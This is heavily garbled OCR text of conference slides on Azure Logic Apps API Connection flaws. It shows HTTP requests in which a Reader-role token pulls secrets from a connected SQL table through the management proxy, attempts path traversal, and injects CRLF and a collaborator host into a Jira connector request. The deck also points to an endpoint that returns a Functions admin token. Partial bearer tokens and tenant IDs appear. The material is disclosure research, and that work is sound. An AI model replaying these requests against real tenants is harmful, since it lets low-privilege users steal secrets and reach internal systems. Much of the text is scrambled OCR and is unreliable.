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Vulnerability Discovery

Azure Logic Apps
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Logic App Designer

Discard |@| Parameters {} Code view () Info
When a HTTP request
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Logic App Designer

Discard |@| Parameters {} Code view () Info
When a HTTP request
is received
Read a resource
@
O List keys | m Get past time
> G
llapse all actions
xpand or collapse all action ﬂ . .
e snle et Create a new issue call some api
(v3) =
A\ Failed to retrieve dynamic i.
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What do they mean?
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API Connections

Manage view 7 Refresh ¥ ExporttoCSV }¥ Open query

'I You rience. Some features may be missing, Click here to ac d experience.
Iter for any field Subscription equals all Resource Group equals all  x Location equals all +  Add filter

; Name 1 Display Name Kind Status Type Resource Group Location Subscription

arm . haakon@binsec.cloud vi Connected AP| Connection to Norway East Azure s ption 1

arm-1 . Azure Resource Manager V2 Connected API| Connection tok Norway East

C p custom-try-parametrized Vi Connected AP| Connection tok Norway East Azure

custom-try-parametrized-2 wos custom-try-parametrized V2 Connected AP| Connection token-storer Norway East Azure subscription 1
5 custom-try-parametrized-3 .. myname Vi Connected AP| Connection token-storer Norway East Azure subscription
] custom2-1 custom2aa Vi Error AP| Connection storer Norway East Azure subscription 1
(] custom2-2 custom2 Vi Connected AP| Connection Norway East Azure s
] custom2-3 custom2 Vi Connected AP| Connection token-storer Norway East Azure subscription 1
j custom2 Vi Connec AP| Connection rer Norway East Azure subscription
: Jstomz2-5 customz2 Vi Connected AP| Connection token-storer Norway East Azure subscript
: m2-¢ customz2 Vi Connected AP| Connection Norway East Azure subscript
: Jstom2-custon secondnda Vi Connec API Connection token-storer Norway East Azure subscription 1
: customconnectior Custombase vi Error AP| Connection token-storer Norway East Azure subscription 1
L | a see connectorizerA vi Connected AP| Connection toker Norway East tio
L] ira-2 son myname vi Connected API Connection Norway East Azure subscription 1
L ult .. new_conn_bb5b2 Vi Connected AP| Connection Norway East Azure subscription 1

5q oo connectornzer Vi Ready AP| Connection Norway East Azure subscription 1
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Home > token-storer >

95 slack » =«

APl Cannertion
APl Connection

| P Search ‘ - () Refresh 8] Delete 2’ Feedback
25 Overview \ Essentials
B Activity log Resource group (move) : token-storer Connector name : slack
Ra Access control (IAM) Status + Error Display name  : Slack
P Location : Norway East Last update time @ 6/2/2025 8:17:44 AM
y Tags
Subscription (move) . Azure subscription 1 Authentication : ---
#< Diagnose and solve problems :
Subscription ID . 8e3ce52f-d45b-4347-8705-65892507465¢e
<« Resource visualizer
v Settings Slack
Locks

API connections are used to connect Logic Apps to SaaS services, such as Office 365. It contains information provided when configuring access to a SaaS service.
v General
Slack is a team communication tool, that brings together all of your team communications in one place, instantly searchable and available wherever you go.

iI' Properties
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"testlinks": [

Uri™: "https://management.azure.com:443/subscriptions/Be3ceS52f-
tests/providers/Micresoft.Web/connections/slack/extensions/

Groups/Logic—-app-test

07465e/resource
18-07-01-preview”,

y

d45b-4347

l-version=2

ct
")
[+
O

}_l

[o—

"method”™: “"get”™,

"path™: "conversations.li

[o—

/

:443/subscriptions/Se3ceS2f-
s/slack;

- -

tUri”: "https://management.azure.cc

eGroups/Logic-app-tests/providers/Micreosoft.Web/connections/

Q

r
5892507465e/resour
-07-01-preview",

-
[

d45b-4347-870
dynamicInvoke?api-version=2018

o

5-

Al LAl - AN A

[

).16.common.logic-norwayeast.azure—-apihub.net/apim/

"connectionRuntimelUrl™: "https://d84b73b6l2cf5960

f4355f64966c34cOcbfcl5d48ecdlelc3”

18CK/

b |
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GET /subscriptions/8e3ced2f-d
app—tests/providers/Microsoft
conversations.list HTTP/2
Host management.azure.com
Authorization: Bearer <Token>

¥ S

Ln

[
i

7
. /
— Yy
" P - -
- -— - : — - Lo
& — : { ) ) :
o~ - - - - St —
’
!
~mriTiacrtTar
- o b ANt o A NS AL

|

Lo

(0

0

<
<
A
ooe re
- e N -—
YT ST =
St MW N A

_— y -

MY 11T =X | s o~
- — - e R — — - — —
b ol o F B B




blackhat o / ,_
BRIEFINGS \

~
YTIm - ~ - o A e Y x gl e WUHS s M — A K e 2 A 77 oeloNa) ~EN gl =G« X ety RIN'T A LS - o= e = R o iy - U 2w
L SUDSCY1pPT ns/descelxZri—d4obp—4:34/—0 S9—boos ooe/xres i1Irceroups w B oy
—_— = et AR W N e A T N e W A AN e NN N N R b AN A - W - - - N L S R R _ WO S whee et ed N NA e N N N e N WA N i Sl Nl e
-~ - -
. — - .
P e o IR [ —— ' ¥ 1 g e g m g A Py = - YN £ e . v & s gy & R e ———— R ——
= 4 L— —_— L7 — o T ¢ 5 ~ ¥ }._. ' ) 1 &= ¢ (e &~ | M~ §4 ~ N — =~ S | y & ' & 4 o
- et e —.....-..--_._.1_.... ke Nt e o d S D N w — P - el b dh Nt o B S AR e A S o A b N A d e WAL bt e Wl A Y
-~ - -~ -
: - 0 ~
FMATISTTAaYaSAaT I T = - o P T T P /',
N AL AAL Y Nv LA Vv A AADD 0 A A o - e
Host n ment ] om
nosStcT managemel .AZUre.com
-
“ 29 . e <T k >
1M 2T o s - — ! ™ /-‘ -
AU LIIOL Laa s 10Ol | irer (-, t:Il

Azure Resource
Management




blackhat L R e .
BRIEFINGS .

~ =y - -~ il B = T A ™ .~ 2 p— - el el = T -t . - — -t / =
' - - -~ - - - . LT - D e g ~d / L > — - -~ = J S ’ Qi Ty T - — - - - — - - - - - —

- ™ i = - oy N T T - - ' . o — 1 s r — — d | ) ¥ - / ) ! - ) = ™0 1 1 & =10« ! =2 ] 1 e

- ! WAAS WS N e AN e W AA _ F Nt S W A A o - - - - N SR R S -t el Nt et S WA B N N N A N WA N =S SAS B S~
-~ - -
- f = . — - - - u ’

—_ - —_— - - o - o - - f - - o - AT 2~ b e — - -~ - - | - - _—_r =T — ) - - - :
= L“ e . 3 - b » 77 ’ » .',f s ak adar-Ta + ( } y . g "N W 1— ’ ™ - ! N Lr g AT | - 1 M _—\_' F T™S Y M\ r. ’v J
- =" e Nt e N e’ e At W _._.1._ Adde N du WD A e — i - e b AA N o AN AL e A J —r A0 M N AA T AT LA bt e WS Y

- - - -

o

tions.list HTTP/

FNITIITAE Y O N
\ - — LA

aAuthorization: Bearer <Token>

Subscription




blackhat N g / :

~ V\
B |E INGS — v"( c
<
R F 4 3
s Y 3
~ / X
. . ’ — -~ g - T A R — P — P N T I ok o -
/';':._) SIIF O YTt T AT o o 2 - e 1+ ~ &~ - 434 — - S G 4659 N = = 1Y ol 11T Fatloh N
\— '-l - h..' —h A — - '* - - ‘— - — - -— Y - ot S’ N R P - - P’ a - _ - - St R - - .‘_- - - - - ‘—J — — — .— -{ —— - - - — e [ N S — - - - —_— -
- - -
. - - - - :
>
-— - —_ - — - - - - - — - - g - - = - - - - - - - - — - : - - - -~ - - — - - _—
=~ L-—T‘,._‘_J ; ¥ 57 1& 1S f9 —~7 = + (}._. nNeaerT ™ & < AR SewTreaens ns ™ Y Y’
- et e - e Ad W A W S — ke Nt e o d S D N w — P - el b dh Nt o B S AR e A S — A b N A - -~ bt e Wl A Y
-~ - -

-

ations.list HTTP/2
Host management.azure.com

AZuthorization: Bearer <Token>

Resource Group




blgt’zkhat@ N s

\\ -
BRIEFINGS \
<
y 3
. Y $
— / X
. - -~ -— - - - - — - - g . g e ey -
~T e R SR L A I S L, Sl S T . 4 -~ - COoOONcC 7 A e S e SRy ¥ e Ar mp Ll G
- = - : . - = al — g T - s r-—i <« & — g : ) — -y J ) ] “ - e [ N 1 ad 1 2 ] Y —
e — - e WAAY W N e AN e W AA S g F N Nt W A A - s S - - -— - N % N W e N - - e e’ et Sl WA B N N W e N VA DY e Sl Nl e N
- - -
- X - Y 3 ) % - '
-— — gy - g p— - SN R —— - —_ - KT o~ b p— . g g - -~ —_ oy | — — g e o, = - |
=Y L\-—-? —_— = ¥ ) 4 7 ) W o TW,—‘} - + (}._.- - 2al-—Toaks T a2 — P -Ted @9 =-_>"4 = ST OIS/ IS YoYyv/
- =" e Nt e N - S - 8 — — — Adde N du WD A e — i - e b AA N o AN AL e A e J A0 W N AA T A NJAA ] WA Y
- - -~ -

4

=

()

Y

]

|

l J

(0

ct
s
=
=
g
g
A

Y MSITISTAa Y a N
\ - — e

aAuthorization: Bearer <Token>




blgt’:khaf
BRIEFINGS

'
= b - o= -

3 | - bl o

- (WL O
+acat

L L S -

-

MSréesas Yy o 5

-k ¥ - — e ld

>

) ’
- — .

o

-4
X

o~y e ey e e e o £ o 2D op o=
o — — 5 ‘?._A
e e e D N e Y A AN S R S N N
-
" .
aharairilal — -~ & ‘..f1 e
= V] {
—.......-’_._.1_.... e S A
-~

Resource

o

0

Hh

ation Bearer <Token>

~
2 R
- L
- - -—

S
~ T

Lo

0

}-_l

—-— e

w oo wrvey S




blackhat N g / :

~ V\
B |E INGS _— v"( :
y <
R I y 3
g 4 .
— / X
. X p— - - g T A PR — ~ PN .Y o ToTY s ot -
/':'_"’-_) 11 erY1Irmt T aAan s o 2 o e - "1 + ~ 4N - 434 — _ e S G a6 5 YOI Yol =117 X | s
‘— 'u - \..' —h A — i - ‘—‘ .. -— Y - ot S’ N R P - - P’ a -~ _ - - St - - - - - - - - ‘—J — - — .- -{ - - - - — - e R — - - - - -
- - -
' - - - - .
>
T — gy g R — - o~ s v e -~ — g - = — - -~ - — e | = - R e R ——
— % . L.__-f— = ’ > > 7 =l =, fjl—\} — — (} >, v Tﬁ*- ” o ~ BB -Tad « wT - — | N= ™Y WY’
- et e | -_._.1_.... ke Nt e o d S D N w — P - el b dh Nt o B S AR e A S o A b N A d e WAL bt e Wl A Y
-~ - - -

-

conversations.list HTTP/2
Host management.azure.com

AZuthorization: Bearer <Token>

Action/Endpoint
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Content-Type: application/json \

o
(¥8)

Content-Length: 18329
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"id": "CO8B8SRBSD39",
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T
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E
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£

"name": "social",
"is channel": true,
"is group”": false,
> e e - - "is im": false,
AUTnNorlizaclion pearcxr =

"is mpim": false,

"is archived":
"is general”:
"unlinked": 0,

"name normalized":

"is shared": false,

"is org shared": false,

"is pending ext shared": false,
"pending shared": [],
"updated”:

"parent conversation":
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HTTP/2 200 OK

Content—-Type: application/json

Content—-Length: 30

"snooze enabled": true
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, . +TP/2 403 Forbidden o :
’ POST /sufr . oglic—

Content-Type: application/json

Content—-Length: 451

SR ; "erroxr"™: {
"code":"AuthorizationFailed",

"message"”:"The client 'haakon test@binsec.cloud' with object id
'470085el1-d51a—-40bb—-ade4-de7f0£f0clad4e' does not have authorization to perform
action 'Microsoft.Web/locations/managedfpis/action' over scope '/
subscriptions/8e3ceS52f-d45b-4347-8705-65892507465e/providers/Microsoft.Web/

locations/norwayeast/managed2pis/slack' or the scope is invalid. If access was

recently granted, please refresh your credentials."

}
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ANY GET Request action on an APl Connection
can be called by Readers
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APl Connection Architecture

Direct call without additional transformations RESTful API
> o .
defined in

swagger

[Credential and metadata store]
Call proxied for additional
request/response transformations

A

user token connection
( \ connection ID token

! Sttt -
| : l
: - ON-premises
% Azure API Azure App Service ! netvF\)/ork ;
: I
Power Automate | [EPTEISRN Management Environment : :
connector ID RESTHUI :
operation ID 2 : .
connection ID ;aqap;tn;lvs\:y AP| defined |
In swagger |
Power Apps I
connector swagger
{ } and policies :
& '
I
Logic Apps

\. J

https://learn.microsoft.com/en-us/connectors/connector-architecture
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APl Connection Architecture

connection ID ‘

Azure API
user token Management

connector |ID
operation ID
connection ID

Power Automate

K

Power Apps

163)

connector swagger
and policies

Logic Apps

https://learn.microsoft.com/en-us/connectors/connector-architecture
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APl Connection Architecture

connection ID ‘

Azure API
user token Management

connector |ID
operation ID
connection ID

Power Automate

Power Apps

163)

Logic Apps

connector swagger
and policies

https://learn.microsoft.com/en-us/connectors/connector-architecture
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APl Connection Architecture

connection ID ‘

Azure API
Power Automate user token Management

connector |ID
operation ID
connection ID

Power Apps

163)

Logic Apps

connector swagger
and policies

https://learn.microsoft.com/en-us/connectors/connector-architecture
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APl Connection Architecture

connection ID ‘

Azure API
user token Management

connector |ID
operation ID
connection ID

Power Automate

Power Apps

163)

Logic Apps

connector swagger
and policies

https://learn.microsoft.com/en-us/connectors/connector-architecture
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Action Definitions

"swagger': "2.0",
“info”: {
“version": "1.0.0",
SRRl SSlackss
"description”: "Slack is a team communication tool, that brings together all
of your team communications in one place, instantly searchable and available wherever

you go.",
"X-ms-api-annotation™: {
"status™: "Production”
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Action Definitions

"paths™: {
‘/{connectionId}/channels.join":

{ > "get": {
" 1
Swag| :
"= _F | ’
AT "/{connectionId}/conversations.join":
i
™ > "/{connectionId}/channels.create”: |
u‘ j‘-, . . s all
> "/{connectionId}/conversations.create™: |
of your ti : rever
J3
you g0. , > "/{connectionId}/dnd.setSnooze":
n: 1,
> "/{connectionId}/groups.create”:

"/{connectionId}/chat.postMessage”: [

sil,
"/{connectionId}/v2/chat.postMessage”:
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user token
connection 1D

Azure API
Management

connector swagger
and policies

https://learn.microsoft.com/en-us/connectors/connector-architecture
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user token
connection 1D

Azure API
Management

connector swagger
and policies

https://learn.microsoft.com/en-us/connectors/connector-architecture
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Credential and metadata store

user token connection
connection 1D token

Azure API
Management

connector swagger
and policies

https://learn.microsoft.com/en-us/connectors/connector-architecture
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RESTful API

Direct call without additional transformations

Credential and metadata store
user token connection
onnection ID token

Azure API
Management

defined in
swagger

Call proxied for additional
request/response transformations

on-premise

: |
Azure App Service . network

Environment

on-premises
data gateway

connector swagger
and policies

connector webapp

ector-architecture === **=**=*=*=-~-
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Credential and metadata store
user token connection
onnection ID token

Azure API
Management

Direct call without additional transformations RESTful API
> . :
defined in

swagger

C oxied fop additional
requestyespofse transformations

Azure Anp Service
Enviioament

or -prcaivses
data aatrs.iav

connector swagger
and policies

connectsr webanpn
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Request

Pretty Raw Hex JSON Web Token

GET /apim/slack/Sh873e753af049%ca%4ee6c01lf1£184c44/conversations.list HTTP/2
Host: logic—-apim-norwvayeast-00l.azure-apl.net

Global APIM Host
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Request

Pretty Raw Hex JSON Web Token

GET /apim/slack/Sh873e753af049%9ca%4ee6c01lf1£f184c44/conversations.list HTTP/2
Host: logic Im-norwvaveast-00l.azure-apl.net

Connector Type
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Request

Pretty Raw Hex JSON Web Token

GET /apim/slack/Sh873e753af049%ca%4ee6c01lf1£184c44/conversations.list HTTP/2
Host: logic—-aplim-norwvaye -00l.azure—-apli.net

Connection ID
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Request

Pretty Raw Hex JSON Web Token

GET /apim/slack/Sh873e753af049%ca%4ee6c01lf1£f184c44/conversations.list HTTP/2
Host: logic—-apim-norwvayeast-00l.azure-apl.net

Action endpoint
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Response

Pretty

Raw Hex Rende =1 \N

HTTP/Z 403 Forbidden

> Content-Length: 497

Content-Type: application/json

4 X-Ms-
5 X-Ms-
5 X—-Ms-
7 Date:

Failure-Cause: apihub-token-exchange
Apihub-0Obho: false
Apihub-Cached-Response: false

Wed, 21 May 2025 13:22:14 GMT

"status":403,

"source"”

"https://logic-norwayeast-001.token. ur=—apihuh net:443/tokens/ lng c—apis-norwvayeast/

497f2fb1d3764a3287¢c£4040a08alb77/9bh973e753af04%9ca%4ece01l£f1£184c44/exchange”,

"message'":

"Error from token exchange: Permission denied due to missing connection ACL: User = 3

BbbhEE0-70cf-4212-BacB-2£28413d8alg9l72£13b38-6d4bh-417c-be51-4e46fcca377a8 appid=c44b4083
-3bb0- 49cl b47d-974e53chdf3c, connection=logic-apis-norwvayeast/497f2fbld3764a3287cE40

Dal8alb77/9h973e753af04%caS4ecec0lf1£184c44"

..bLJ L
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&Y TokenExchange X Sr

<« & [4] Bitps://logic-norwayeast-001.token.azure-apihub.net

This Token Store 1s live and running build 1.74.18-
release.0+d449227

See Getting stared with Azure Token Store for a quick start
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v— custom-try-parametrized-2 | Access policies
v
API Connection
l/’f‘ Search ' I ¢ - Add C_f) Refresh
& QOverview
Ro  Access control (IAM)
Name Policy Name Action

@ Tags

. Api Connection User ApiConnectionUser-8fffba85-5e62-4c43-9bf7-... Delete
/< Diagnose and solve problems

Atlassian Atlassian-0d4d12e5-ac65-4797-bf0d-074a617...

- - -
«,» Resource visualizer

v Settings

7~ Access policies
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But they were, all of them, deceived, for another
Connection ACL was made.
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APl Connection Architecture

Azure portal Azure PowerShell Azure CLI REST clients Credential and metadata store

l l

SDKs ;
‘v user token connection
> e Z connection 1D token

("] Azure Resource Manager

| | | | Azure API
= g Power Automate | ENTESESRE Management
i I a o

connector ID
Data Web App Virtual Service Other Operat'P” ID
connection ID

Store Machine Management services
Power Apps

[ 9 |
)

Logic Apps

<«—» Authentication

connector swagger
and policies

https://learn.microsoft.com/en-us/connectors/connector-architecture
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Things that are not facts
about Azure

Specifically Azure Resource Management
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Simple Security Model

Well, simple-ish
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Readers GET

GET /subscriptions/8e3ce52f-d45b-4347-8705-
65892507465e/SomeAPIThatDoesntexist?api-version=2021-01-01 HTTP/2

HostT: management.azure.com
Authorization: Bearer <Token>
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TTP/2 404 Not Found
Content Length: 198
Content Type: application/json; charset=utf-8

"message”:"No HTTP resource was found that matches the request
URI "https://management.azure.com/subscriptions/8e3ce52f-d45b-4347-
8705-65892507465e/SomeAPIThatDoesntexist?api-version=2021-01-01"

h
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~

Not anything else

POST /subscriptions/8e3ce52f-d45b-4347-8705-
65892507465e/SomeAPIThatDoesntexist?api-version=2021-01-01 HTTP/2

Host: management.azure.com
Authorization: Bearer <Token>
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e iy N HTTP/2 403 Forbidden
b /subscr Content-Length: 411
65802507465 Content-Type: application/json; charset=utf-8 HTTP/2

Host: manage
Authorizatiot
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Web Apps - List Host Keys

Service: App Service

APl Version: 2024-11-01

Description for Get host secrets for a function app.

sz ™ Copy BALAL

) : //mar 1 .azure. i/ subscripti /{su iptionId}/resour roups/{resourceG Name } /provic
POST https://management.azure.com/subscriptions/{subscriptionld}/resourceGroups/{resourceGroupName}/provider

https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/list-host-keys?view=rest-appservice-2024-11-01
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Web Apps - List Metadata

Service: App Service

APl Version: 2024-11-01

Description for Gets the metadata of an app.

https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/list-metadata?view=rest-appservice-2024-11-01
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ARM does all the
authentication

and then uses its own token
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Azure portal Azure PowerShell

l

it v

SDKs

Azure CLI REST clients

l

>0

(7] Azure Resource Manager <« Authentication

l l
;

Data Web App
Store

l

'L.Wﬂ\-
&

Virtual
Machine

l

g ) o090
A
Service Other

Management services
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Azure PowerShell

& . <
Azure CLI REST clients

Azure portal
SDKs
\ > $4
(%] Azure Resource Manager Authentication
l l l l Role Check
.‘ @ D eee
A
Data Web App Virtual Service Other
Store Machine Management services
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Azure PowerShell

Azure portal
SDKs
\ > $4
(%] Azure Resource Manager Authentication
l l l l Role Check:
.‘ @ D eee
A
Data Web App Virtual Service Other
Store Machine Management services

& . <
Azure CLI REST clients
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/‘,; y

Azure portal Azure PowerShell Azure CLI REST clients
SDKs
\ i ,

(7] Azure Resource Manager <« Authentication

Full Control Role Check: ¢

Virtual Service Other
Machine Management services




blackhat -- I

\ o ,"/ /\ \\\ r'/4 ‘
r el ) //“ 7 A
BRIEFINGS B — 4 i, 8 /4

Web Apps - Get Functions Admin Token

Service: App Service

APl Version: 2024-11-01

Description for Fetch a short lived token that can be exchanged for a master key.

S co

— 2 . J -
T g I e R
S/1resourceGroupName -/ proyv

. J

https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-11-01
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SET /subscriptions/292c3ce5-4288-4413-8dad-5¢665019739d/resourceGroups/binsec-privesc

test group/providers/Microsoft.Web/sites/binsec-privesc-test/functions/admin/token?
apl-version=2014-11-01 HTTP/2

Host: management.azure.com

Authorization: Bearer <TOKEN>

https://binarysecurity.no/posts/2023/06/function-apps-rce
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HTTP/2 200 OK

JET Content-Length: 592 rivesc
tecgt Content-Type: application/json ken?
ap1i-

Host

"1d":"/subscriptions/292c3ce5-4288-4413-8dad-5¢c665019739d/resourceGroups/binsec-prive
Autt "name” : "functions”,

"type”:"Microsoft.Web/sites/extensions”,

“location™:"Norway East”,

“properties”:"eyJlhbGc10iJIUzZIINIISINRScCI6IKkpXVCI9.eyJuYmY10jE20DI2MDM10DASImVACCI6GMTYAM
pmf9OWTIOV8HPIrC8wkuFM8udjAZ2c™

}

https://binarysecurity.no/posts/2023/06/function-apps-rce
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OOPS (2)

Learn / Network Gateway / Resource Manager / Virtual Network Gateway Connections /

Virtual Network Gateway Connections - Get
Shared Key

Service: Network Gateway

APl Version: 2024-05-01

The Get VirtualNetworkGatewayConnectionSharedKey operation retrieves information about the specified virtual

network gateway connection shared key through Network resource provider.

HTTP LN D Try it

GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers

https://www.token.security/blog/azures-role-roulette-how-over-privileged-roles-and-api-vulnerabilities-expose-enterprise-networks
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What this means for APl Connections
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Azure SQL Database

Request

Raw Hex O - BRI

1 GET
/subscriptions/8e3ce52f-d45bh-4347-8705-658925074€65e/resourceGroups
/tmp-api-connection/providers/Microsoft.Web/connections/sql-7/exte
nsions/proxy/datasets/default/tables/dbo.secretsl/items?
api-version=2018-07-0l-preview HTTP/2

2 Host: management.azure.com

5 Metadata: true

4 Authorization: Bearer
eydJ0eXAiOiJEVIQILCIhbGeci01JSUzZIIN1IsIngldCIéInoxenNZ5SEhKOS04bWdndD
RIclplOEJLa0JdQdyIsImtpZCIleéInoxcnNZSEhRKOS04bWdndDRIclp lIOEJLa0JQdyJdS
2yJhdUQi0OiJodHRwczovLI LhbnFnZWllbnQuYZ9yZ553aWsSkbh3dzLmS1dCE8iLCdpe
3Mi0OiJodHRwczovL3INOcyS3aWsSkb3dzLmS1dCE83 MmYxMZ IzOCOZ ZDRILTOQXNZ Mt YmU
IMS00ZTQZ ZAYZYTM3YTgvIiwiaWFOIjoxNzMZMJQ3MTMzLCJuYmYiOjJE3MzYyNDex M
zMsImV4cCIEMTczNJ I 1 MTAzMywiYWlvIjoiazdCZ1l1DavVdibVphZkdwcXFFeVJQYkyg
INDZMTEFBPTOLLCJhcHBpZCIEIMZIJNzFiYTMYyLTFmYTgtNDg3Yy1liMDRILTVhMTELY
2RIZGOxZC IS InFwecGlkYWNyIJoiMS IsImlkecCI& ImhOdHEzOi8ve3 RzLndpbmRvd3 M
umeDchyzjE?YjHQLTZLNGItNDE3Yy112TU (LTRINDZmlN]) ZhMzdhOCB8iLCJIJp ZHRS~

- - - . - - - S W PemmE e mBeeew . e L B L . R RS W W W R e e e e - ——— -
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Azure SQL Database

Request

Raw Hex

GET
/subscriptions/8e3ceS52f-d
/tmp-api-connection/prowvic
nsions/proxy/datasets/def:
api-version=2018-07-01-pre
Host: management.azure.cor
Metadata: true
Authorization: Bearer
eydJO0eXAiOiJEVIQIiLCIhbGeci0:
RIclplOEJLa0JQdyIsImtpZCIt
.2ydhdWQiOidJodHRwczovLZ Lhl
3Mi0OiJodHRwczovL3NOcyS3alw!
IMS00ZTQZ ZIJYZYTM3YTgvIiwie
zMsImV4cCIEMTczNI I LMTAzM My
INDZMTEFBPTOLiLCJhcHBpZCIE!
2RIZGOxZCIsImFwcGlkYWNyIjc
umeUchyZJEVYjMQLTZkNGItI

— - - . - - --

Date:

Tue, 07 Jan 2025 11: 18 19 GHMT

"@odata.context":

"https:
ihub.net

{

/ AB4b

[

'tables('dbo.secretsl'

"Bodata.etag":"",

"ItemInternalld":
"4fc38£37-978e-4925-al22-c4961£f9deb3t"”,
"mysecret":"MyacCLct.dlu:"

"Bodata.etag":"",
"TtemInternalld'":
"ealB8d9Eef-70d7-4cZbh-9f5e-efbhdcféSchc4d”,
"mysecret":"aaa"

"Bodata.etag":"",

"ItemInternalld":
"74ed4£659-0e5d-4ae7-a87c-9076£189dec8"”,
"mysecret”:"aaa"

"Bodata.etag":"",

"ItemInternalld":
"cd479%eb-dd71-4b0&6-a571-19e249d3e0&ed",
"mysecret'":"aaa"

73belZcft58€0. l€.common. logic—norwvayeast.
;aplm 'scgl/ ELEBADY9e24E1d445eh%e 1bBh2h554d201l/ Smetadataf
datasets ('default')/
"value'":

) /items",

azure-ap
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28 | {
Azure SQL Database ::  rwaaconcexer: |
"https://dB84b73bE12cfS59€0. 1€.common. logic-norvayeast.azure-ap
2bh554d201l/ $metadata#
) /items",
Request
Pretty  Raw  Hex N \n =
1 GET Scdeb3f",
/subscriptionsy 29/resourceGroups/
/providers/Microsoft.Web/connections/sql/extensions/proxy/V2/datasets/wssw
%255C%252e%252e%252 v iqglsrvso
l.database.windows.net,v Jtables/ /items/?api-version= R A
2018-07-01-preview&server=abcd&s$top=5 HTTP/1.1
2 Host: westeurope.management.azure.com
3 Authorization: Bearer
eyJ@eXA101JKV1QiLCIhbGci101JSUZIINiIsIngldCI6InoxcnNZSEhRKOS@4bWdndDRICc1pl0EJLa®JQdy
89déc8"”,
SALOD AUV Tww Ll ULl oA JA Al Aoy WAL AW ANV L W E" "EOd.ata.-E‘tag": "",
INDZMTEFBPTOi1LCJhcHBpZCIEImMZIJNzFiY "ItemInternallId":
2RIZGOXZCIsSImFwecGlkYWNyIjoiMSIsIml "cd4799%eb-dd71-4b0&6-a571-19e249d3e0&d",

ubmVOLzcyZiEzYiM4LTZKNGItNDE3YyliZ "mysecret'”:"aaa"

— - - - - - - . - - - -~ e sewma - }
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SINISISINIES! % 26 Tue, 07 Jan 2025 11:18:19 GMT
28 | {
Azure SQL Database 29 "Rodata.context":
"https://dB4b73bELl2cfS5960. 16.common. logic-norvayeast.azure-ap
2bh554d201l/ $metadata#
m - = ) /items",
Requ Response
Pretty Pretty Raw Hex Rendel =] \n = =
" 1 HTTP/1.1 502 Unexpected Exception : System.InvalidOperationException: Unable to e
1 GE parse dataset. at s
/S| Microsoft.Azure.Connectors.Mashup.Sgl.Models.SqlConnectionParameters.UpdateUsingDa
taset(HttpRequestMessage request, String dataset) in ‘W
C:\_w\1\s\src\Connectors\FirstParty\sql\Connector\Models\SqlConnectionParameters. 0
[ cs:line 232 at S g
20" Microsoft.Azure.Connectors.Mashup.Sql.Models.SqlConnectionParameters..ctor(HttpReq S S
2 Ho: uestMessage request, String dataset) in
& Au; C:\__w\l\s\src\Connectors\FirstParty\sql\Connector\Models\SqlConnectﬂ
- | Cache-Control: no-store, no-cache
€Y.| 3 Pragma: no-cache ly
4 Content-Length: 1658 B9déc8",
5 Content-Type: application/json
6 Expires: -1
7 Strict-Transport-Security: max-age=31536000; includeSubDomains
8 x-ms-datasourceerror: True
9 x-ms-request-id: 36ac J=249d3€0&d",
10 x-ms-correlation-id:

s R N B e A S s o e e NS DS S S 2 B }
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Jira
Request

Raw  Hex =
L GET

/subscriptions/Be3ce52f-d45h-4347-8705-658925074€65¢./ resourceGroups/tm
p-api-connection/providers/MNicrosoft.Veb/connections/jira/extensions/
proxy/vi/project/search?vorkflovName=nyryle$20HTTP/ L. 150d%0a&
api-version=2018-07-01l-preview HTTP/2 \z \n

2 Host: management.azure.com \z \n

5 Metadata: true \x \n

4 Authorization: Bearer
eyJ0eXA101JKVIQILCIhhGei0idSUzIINiIsIngldC

0 A0 J 1 s Im FInoxen ) 0S04

X-Request-Jiralnstance:
Thpg7iBxp0te9587dswetr0glh78v0ip.beollaborator.binsec.cloud/metadata/
instance \r \n
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Jira

A A NER W W A NT NN &-l-n-l:g“jl L R N —d N i N Nl i Nl W A AN Y

Date: Fri, 03 Jan 202 5 i 8 R p B ¢ B &

)
‘)

{

(W I OO B 0%

10N (A
b

"coc*" 502

"Unabl~ to parse result body. JSON response expected. Body
<html><body>bikt79vweBiruxdbepdzrtziyijgkgzbikt79vweBjruxdbe

pdzrtzijjgkgz</body></html>"
"source':
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Jira
Description Request to Collaborator Response from Collaborator

Pretty ~ Raw  Hex & \n

X-Azure-RecquestChain: hops=l1
X-ms—-operation-context:
(;appld=797£4846-bal0-4fd7-bad43-daclf8fE3013, tenantId=72£13b38-6d4h-417c-beS51l-4e46fE€a37a8, objectId=8bcEB2dE-391e-475e-855c—-cE8dEcEtfO94ELl/germa
nywestcentral/8a62dl78-6449-45bh2-al7a-c0ede718d0b3)
9 xX-ms-client-recuest-id: Y9cflaecf-7a3b-474c-a3Z7-0d25a0e£3990
10 X-ms-arm-recquest-tracking-id: 071lfedb-50£f8-4331-aScd-77ceadbeS5eebl
11 x-ms-correlation-recuest-id: 071l1lfedb-50£f8-4331-a8cd-7ceadbeSéebl
12 xX-ms-routing-recuest-id: GERMANYWESTCENTRAL:Z0ZS50103TL102531Z:0711lfedh-50£f8-4331-aS%ed-Tceadb&éSeebhl
13 x-ms-client-location: germanywestcentral
x-ms-home-tenant-id: 72f13b38-&6d4b-417c-be51l-4e46fcca37atb
X-ms-arm-service-recquest-id: 5a852172-195¢-4974-a390-58888%a444ct
x-ms-client-audience: https://management.core.windows.net/
1 X-ms—-client-scope:
18 Xx-ms-client-acr:
1% Content-Type: application/json
20 X-ms-client-app-id-acr: 1
21 Authorization: Basic
NabVo l31NCaX1HbGVINYOF 11
22 x-ms-client-issuer: https://sts.windows.net/72f13b38-6d4bh-417c-be51l-4e46f66a37a8/
23 X-MS-APIM-Callback: https://logic-norwayeast-00l.consent.azure-apihub.net
24 ¥X-ms-client-puid:
25| X-ms-client-alt-sec-id:
26 X-ms-client-principal-id:
2 x-ms—-client-authorization-source: RoleBased
22 x-ms-client-identity-provider: https://sts.windows.net/72f13b38-6d4b-417c-bhe51l-4e46f66a37a8/
2% x-ms-client-principal-group-membership-source: None
30 Xx-ms-client-principal-name:
31 X-ms-client-family-name-encoded:
32 X-ms-client-given-name-encoded:
33 X-ms-arm-network-source: PublicNetwork
34 Xx-ms-activity-vector: IN.OLl.IN.0OS
35 X-ARR-LOG-ID: S9cflaecf-7a3b-474c-a327-0d25a0e£3990
36 CLTIENT-TIP: 51.116.150.71:13378

@@ & | > | xfor X 5 matches

F
] ™y U Wb
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Keyvaults

Request
Pretty Raw Hex N | I —
1 GET

